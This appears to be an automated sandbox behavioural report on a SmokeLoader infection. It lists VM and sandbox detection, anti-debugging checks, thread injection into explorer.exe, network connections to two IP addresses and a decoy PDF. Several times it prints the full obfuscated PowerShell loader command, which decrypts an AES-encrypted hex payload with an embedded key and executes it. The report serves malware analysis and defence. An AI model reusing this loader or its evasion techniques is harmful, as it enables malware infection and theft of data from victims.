Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\sarbjfc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Roaming\putty.exe	API/Special instruction interceptor: Address: 7FFDB442D584
Source: C:\Users\user\AppData\Roaming\sarbjfc	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Roaming\sarbjfc	API/Special instruction interceptor: Address: 7FFDB442D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: putty.exe, 00000005.00000002.2336277689.00000000005DE000.00000004.00000020.00020000.00000000.sdmp, sarbjfc, 00000010.00000002.2571480873.000000000067E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5555	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4287	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 456	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1136	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 761	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3535	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 654	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3004	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7212	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1208	Thread sleep count: 456 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7476	Thread sleep count: 1136 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7476	Thread sleep time: -113600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5372	Thread sleep count: 761 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5372	Thread sleep time: -76100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7944	Thread sleep count: 312 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7944	Thread sleep time: -31200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6892	Thread sleep count: 289 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7952	Thread sleep count: 304 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7952	Thread sleep time: -30400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7476	Thread sleep count: 3535 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7476	Thread sleep time: -353500s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: wscript.exe, 00000000.00000003.2328776537.00000225C03FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}
Source: explorer.exe, 0000000E.00000000.2310451909.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: explorer.exe, 0000000E.00000000.2311889779.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000E.00000000.2310451909.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: explorer.exe, 0000000E.00000000.2311889779.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: explorer.exe, 0000000E.00000000.2310451909.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 0000000E.00000000.2295392914.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000002.00000002.2316223624.0000028F3E7F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3428035301.0000020C1862B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3436829130.0000020C1DE56000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2310451909.000000000978C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000E.00000000.2295392914.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: explorer.exe, 0000000E.00000000.2297991272.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 0000000E.00000000.2311889779.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: explorer.exe, 0000000E.00000000.2295392914.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000000E.00000000.2311889779.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 0000000E.00000000.2295392914.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Roaming\putty.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Roaming\putty.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Roaming\putty.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	Process queried: DebugPort

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00481694 push dword ptr fs:[00000030h]	5_2_00481694
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004F092B mov eax, dword ptr fs:[00000030h]	5_2_004F092B
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004F0D90 mov eax, dword ptr fs:[00000030h]	5_2_004F0D90
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00551694 push dword ptr fs:[00000030h]	16_2_00551694
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005D092B mov eax, dword ptr fs:[00000030h]	16_2_005D092B
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005D0D90 mov eax, dword ptr fs:[00000030h]	16_2_005D0D90

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: sarbjfc.14.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\putty.exe	Thread created: C:\Windows\explorer.exe EIP: 8EC1998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	Thread created: unknown EIP: 8EE1998

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\sarbjfc	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function yyjd($ahlac){return -split ($ahlac -replace '..', '0x$& ')};$kpwc = yyjd('9626ac9ca11f87600da3d4d6512002c7dbd2692a7fd524bb4fd120b8703e62b78823ec832238dd1518e4463172663bb7581f6638a4db36633fd4587eacb1f6e92783b536b0033981a9bbb7b3820bbb662b2deebb46c45fda20758efd8966ee737a4ffe51b0b05b720ad71e578ef1cdd1c5d079b0871d75ca28175427ed824c17ae205eb3d16b2cb56dbe2eef7cd9b26a80a26195c5a4212c391be6fa8471b32e1fecc1a8ab39510dc769dff298caf994fd115ac6d93557d0c2adc21bea849d901b562c394f376197052590ba05267e31e9f7a737740706c07feb1a99508b4dab29313e96415058c85f28827900d80e5d145b64cd02fcd51c7880852e1c4dfbf891dc5482a7b37e5bd8c81c2dfc9fcd49ae7d7055fca9a57228762073d80ab71a7a99e8e21a8be8b7b66c00a9d1192a801a2d026d3d7d5c22467949b4555d9370aa40b4fa9a3a2ba54f4dc8cef827955ba500a1f5547ec70cbb8f8b0ed68fcf3402f7e74ae0a1912a6903222db9bb5ba07ac2cc865b4770bfeb2ae1929dda9e6f2b18934c8790dbc2a20e2617c410434bc21bc5ec2faced22799a39cede8a16c040da945ac83b21a48d1ef157a3ff92a7b4c17b44bfbf9361306729775078d6abf1025ec18617c0409b64fc7a378cd9efc0b2eb21a213221986a49ad0d6e7b08210cf163b19b73128352a80894f065cdc9b095db8513360c157d95d4ad51da58bdc71aafa4e8f8bbd2a07be25f3e32a4d5337b04b3c8d8e8855946e1d6b0c403e07b4e3b937c6615de848917188bd1dce38f70a40cda365782300d6e5d5eed0daa2c5c600f3366672239898766852527c4283b3da965f9a86f861214192089a34c1ce5380ee7d6e0f386e744119906b947c7758bb4d7b8a325c60653292b6c08c97385ddc4f7f5ab31eae51e4f906f9d17c398e252eea05547754176ef723fdbd120525a42ac182e5eb4b575dbbfa9c5a468028141761ceec0a3225665ef3c6b84622c514a2dca8516179c4f22d4b9c04f7856080b6f50f14ffcacc0d37a5dcb8b05a861748aa499be5adbaef60daa641dc3547f92e711e7d70df4ff551b3d81d829f09839d1e7b12264274b34ec2bb736771ed9b7d5b2dd00090dfe4c97d6c7684f6b2274906afdb0357f7f48b7b50440e3b5a6ff709b7581916322d76ed40c49674645626922643643dd0e89524ad1811687a9c7c8a93cdd6c520cfcdf968742122c005d2f8128ad8a2fab7f5d8fe45');$ajka=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((yyjd('514e694341537749566378795955644f')),[byte[]]::new(16)).transformfinalblock($kpwc,0,$kpwc.length)); & $ajka.substring(0,3) $ajka.substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function yyjd($ahlac){return -split ($ahlac -replace '..', '0x$& ')};$kpwc = yyjd('9626ac9ca11f87600da3d4d6512002c7dbd2692a7fd524bb4fd120b8703e62b78823ec832238dd1518e4463172663bb7581f6638a4db36633fd4587eacb1f6e92783b536b0033981a9bbb7b3820bbb662b2deebb46c45fda20758efd8966ee737a4ffe51b0b05b720ad71e578ef1cdd1c5d079b0871d75ca28175427ed824c17ae205eb3d16b2cb56dbe2eef7cd9b26a80a26195c5a4212c391be6fa8471b32e1fecc1a8ab39510dc769dff298caf994fd115ac6d93557d0c2adc21bea849d901b562c394f376197052590ba05267e31e9f7a737740706c07feb1a99508b4dab29313e96415058c85f28827900d80e5d145b64cd02fcd51c7880852e1c4dfbf891dc5482a7b37e5bd8c81c2dfc9fcd49ae7d7055fca9a57228762073d80ab71a7a99e8e21a8be8b7b66c00a9d1192a801a2d026d3d7d5c22467949b4555d9370aa40b4fa9a3a2ba54f4dc8cef827955ba500a1f5547ec70cbb8f8b0ed68fcf3402f7e74ae0a1912a6903222db9bb5ba07ac2cc865b4770bfeb2ae1929dda9e6f2b18934c8790dbc2a20e2617c410434bc21bc5ec2faced22799a39cede8a16c040da945ac83b21a48d1ef157a3ff92a7b4c17b44bfbf9361306729775078d6abf1025ec18617c0409b64fc7a378cd9efc0b2eb21a213221986a49ad0d6e7b08210cf163b19b73128352a80894f065cdc9b095db8513360c157d95d4ad51da58bdc71aafa4e8f8bbd2a07be25f3e32a4d5337b04b3c8d8e8855946e1d6b0c403e07b4e3b937c6615de848917188bd1dce38f70a40cda365782300d6e5d5eed0daa2c5c600f3366672239898766852527c4283b3da965f9a86f861214192089a34c1ce5380ee7d6e0f386e744119906b947c7758bb4d7b8a325c60653292b6c08c97385ddc4f7f5ab31eae51e4f906f9d17c398e252eea05547754176ef723fdbd120525a42ac182e5eb4b575dbbfa9c5a468028141761ceec0a3225665ef3c6b84622c514a2dca8516179c4f22d4b9c04f7856080b6f50f14ffcacc0d37a5dcb8b05a861748aa499be5adbaef60daa641dc3547f92e711e7d70df4ff551b3d81d829f09839d1e7b12264274b34ec2bb736771ed9b7d5b2dd00090dfe4c97d6c7684f6b2274906afdb0357f7f48b7b50440e3b5a6ff709b7581916322d76ed40c49674645626922643643dd0e89524ad1811687a9c7c8a93cdd6c520cfcdf968742122c005d2f8128ad8a2fab7f5d8fe45');$ajka=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((yyjd('514e694341537749566378795955644f')),[byte[]]::new(16)).transformfinalblock($kpwc,0,$kpwc.length)); & $ajka.substring(0,3) $ajka.substring(3)			Jump to behavior

Source: explorer.exe, 0000000E.00000000.2295914909.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: explorer.exe, 0000000E.00000000.2297795187.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.2295914909.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000E.00000000.2295914909.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000E.00000000.2295392914.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: explorer.exe, 0000000E.00000000.2295914909.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000E.00000000.2311889779.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: __crtGetLocaleInfoA_stat,	5_2_0041780E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	5_2_004114A0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	5_2_00414674
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_00410E32
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	5_2_0040B2C7
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: __crtGetLocaleInfoA_stat,	16_2_0041780E
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	16_2_004114A0
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	16_2_00414674
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	16_2_00410E32
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	16_2_0040B2C7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 5.3.putty.exe.550000.0.raw.unpack, type: UNPACKEDPE
